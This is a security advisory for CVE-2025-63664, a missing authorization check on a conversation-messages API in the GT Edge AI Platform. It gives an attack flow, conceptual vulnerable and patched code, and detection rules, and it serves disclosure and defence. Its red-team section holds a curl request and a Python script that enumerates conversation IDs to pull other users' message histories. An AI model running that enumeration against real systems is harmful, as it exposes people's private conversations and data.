CVE-2025-63664

Executive Summary

CVE-2025-63664 is a critical access control vulnerability in the GT Edge AI Platform, affecting versions prior to v2.0.10-dev. The flaw resides in the /api/v1/conversations/*/messages API endpoint, allowing unauthorized attackers to retrieve the message history of other users interacting with AI agents. This vulnerability stems from improper authorization checks, enabling a low-privileged or unauthenticated attacker to enumerate conversation IDs and exfiltrate sensitive data. The platform is a proprietary AI orchestration tool, and no public proof-of-concept (PoC) or exploit code has been released as of this analysis. The vendor has not issued a formal patch advisory, but the fix is available in the development branch v2.0.10-dev.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). The GT Edge AI Platform is a proprietary software product. No supply chain compromise is indicated.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability description and impact, a reasonable assessment is:

• Attack Vector (AV): Network (N) – The API is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – Unauthenticated access is possible.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Changed (C) – The vulnerable component (API) impacts the confidentiality of other users' data.
• Confidentiality (C): High (H) – Full access to message history.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No impact on availability.

Estimated CVSS Base Score: 8.6 (High)

Threat Level: High. The vulnerability allows unauthorized data access with no authentication, making it attractive for data theft and espionage.

Deep Dive & Mechanics

The vulnerability is an Incorrect Access Control (CWE-284) flaw in the REST API endpoint /api/v1/conversations/*/messages. The asterisk (*) represents a conversation ID, which is likely a UUID or sequential integer. The API fails to verify that the requesting user is the owner or participant of the conversation before returning the message history.

Attack Flow:

1. Reconnaissance: An attacker identifies the GT Edge AI Platform instance (e.g., via Shodan or direct scanning).
2. Enumeration: The attacker sends a GET request to /api/v1/conversations/1/messages, /api/v1/conversations/2/messages, etc., or uses a UUID generator to brute-force conversation IDs.
3. Data Exfiltration: The API returns the full message history for each valid conversation ID, including user prompts, AI responses, and potentially sensitive data (e.g., PII, business secrets, credentials).

Root Cause: The API endpoint lacks a server-side authorization check. The code likely retrieves messages based solely on the conversation ID without verifying the user's session token or ownership.

Vulnerable vs. Patched Code

The following is a conceptual representation based on common patterns. Actual source code is proprietary.

Vulnerable Code (Pre-v2.0.10-dev):

@app.route('/api/v1/conversations/<conversation_id>/messages', methods=['GET'])
def get_conversation_messages(conversation_id):
    # No authentication or authorization check
    messages = db.query("SELECT * FROM messages WHERE conversation_id = ?", (conversation_id,))
    return jsonify(messages)

Patched Code (v2.0.10-dev):

@app.route('/api/v1/conversations/<conversation_id>/messages', methods=['GET'])
@require_auth
def get_conversation_messages(conversation_id, user):
    # Authorization check: ensure user is participant
    if not is_participant(user.id, conversation_id):
        abort(403)
    messages = db.query("SELECT * FROM messages WHERE conversation_id = ?", (conversation_id,))
    return jsonify(messages)

The patch adds a @require_auth decorator to enforce authentication and an is_participant() function to verify the user's ownership of the conversation.

Exploitation & Lab Setup

Red Team

Lab Environment:

• Target: GT Edge AI Platform v2.0.9 (vulnerable)
• Attacker: Kali Linux with curl, Burp Suite, or custom Python script

Exploitation Steps:

1. Identify the target API endpoint (e.g., https://target.com/api/v1/conversations/).
2. Enumerate conversation IDs (e.g., from 1 to 1000 or using a UUID list).
3. For each ID, send a GET request:

   curl -X GET "https://target.com/api/v1/conversations/1/messages" -H "Accept: application/json"
   

4. If the response contains message data, exfiltrate it. If a 403 or empty response is returned, skip.

Automated Script (Python):

import requests
import sys

target = sys.argv[1]
for conv_id in range(1, 1001):
    url = f"{target}/api/v1/conversations/{conv_id}/messages"
    r = requests.get(url)
    if r.status_code == 200 and r.json():
        print(f"[+] Conversation {conv_id}: {r.text}")

Blue Team

Detection & Response:

• Monitor for unusual API requests to /api/v1/conversations/*/messages from a single IP with sequential or random conversation IDs.
• Alert on high volumes of 200 responses from this endpoint without prior authentication.
• Implement rate limiting and anomaly detection on the API gateway.

Honeypot:

• Deploy a fake GT Edge AI Platform instance that logs all requests to this endpoint and alerts on enumeration attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Repeated GET requests to /api/v1/conversations/[0-9]+/messages or /api/v1/conversations/[a-f0-9-]+/messages
  • Source IPs performing sequential or brute-force enumeration
  • Unusual data exfiltration patterns (large JSON responses)

• Host IOCs:

  • Log entries showing GET /api/v1/conversations/*/messages without a valid session token
  • Error logs with 403 Forbidden after patch (indicating attempted exploitation)

• File IOCs:

  • Exfiltrated data files containing conversation histories (e.g., conversation_export.json)

Detection Engineering

YARA Rule

rule CVE_2025_63664_GT_Edge_AI_Platform {
    meta:
        description = "Detects exploitation attempts of CVE-2025-63664 in GT Edge AI Platform"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-63664"
    strings:
        $api_path = "/api/v1/conversations/"
        $messages = "/messages"
        $json_response = /"messages":\s*\[/
    condition:
        $api_path and $messages and #json_response > 5
}

Sigma Rule

title: CVE-2025-63664 - Unauthorized Access to GT Edge AI Platform Messages
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthorized access attempts to the /api/v1/conversations/*/messages endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|startswith: '/api/v1/conversations/'
        cs-uri-stem|endswith: '/messages'
    condition: selection
falsepositives:
    - Legitimate API usage by authorized users
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-63664 - GT Edge AI Platform Unauthorized Message Access"; flow:to_server; http.method; content:"GET"; http.uri; content:"/api/v1/conversations/"; distance:0; content:"/messages"; distance:0; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to GT Edge AI Platform v2.0.10-dev or later.
2. If upgrade is not possible, restrict network access to the API endpoint using a WAF or firewall rule blocking unauthenticated requests.
3. Implement authentication on the API gateway (e.g., OAuth2, API keys) as a compensating control.

Long-Term Fixes:

• Enforce proper authorization checks on all API endpoints.
• Conduct a security audit of the entire API surface.
• Implement rate limiting and anomaly detection.

Workaround:

• Disable the /api/v1/conversations/*/messages endpoint if not required, or add a custom middleware that validates user tokens before processing requests.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst